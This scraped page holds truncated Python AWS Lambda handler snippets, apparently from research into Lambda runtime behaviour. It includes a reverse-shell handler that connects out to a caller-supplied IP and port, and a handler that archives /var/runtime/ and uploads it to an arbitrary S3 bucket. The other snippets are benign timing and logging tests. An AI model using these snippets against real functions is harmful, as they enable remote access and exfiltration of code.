This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
def is_epsagon_ok(event, context): | |
""" | |
a simple get request to epsagon's domain to see if it is OK | |
""" | |
response = requests.get("https://epsagon.com") | |
if response.status_code == 200: | |
return "Epsagon is UP!" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import socket | |
import subprocess | |
def shell(event, context): | |
""" | |
Opens a reverse shell to a lambda. | |
""" | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((event["ip"], event["port"], )) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
def download_code(event, context): | |
""" | |
Download the runtime environment of a lambda to a given s3 bucket. | |
""" | |
os.system("/bin/tar -zcvf /tmp/code.tar.gz /var/runtime/") | |
with open("/tmp/code.tar.gz", "rb") as code: | |
s3.upload_fileobj(code, event['bucket_name'], 'code.tar.gz') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import wrapt | |
def wrapper(wrapped, instance, args, kwargs): | |
""" | |
Wrap all Lambda invocations and prints a log before calling it. | |
""" | |
request_handler = args[0] | |
def _wrapper(event, context): | |
print 'This is a log' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import instrumenter | |
def hello(event, context): | |
print 'Hello' | |
return 'Success' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import time | |
import runtime as lambda_runtime | |
def reset_timeout(event, context): | |
""" | |
A lambda resetting its timeout by calling lambda_runtime.report_done | |
""" | |
print "Remaining time: ", context.get_remaining_time_in_millis() | |
time.sleep(10) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import time | |
import runtime as lambda_runtime | |
def send_report_end(event, context): | |
""" | |
A Lambda that calls report_done from within the code | |
""" | |
print "Beginning" | |
lambda_runtime.report_done(context.aws_request_id, None, 'Success', 0) | |
time.sleep(1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Make a calculation taking up some run time | |
print 'Beginning' | |
for i in xrange(100000000): | |
x = i * i | |
print 'Done' | |
def hello(event, context): | |
""" | |
Returns Success |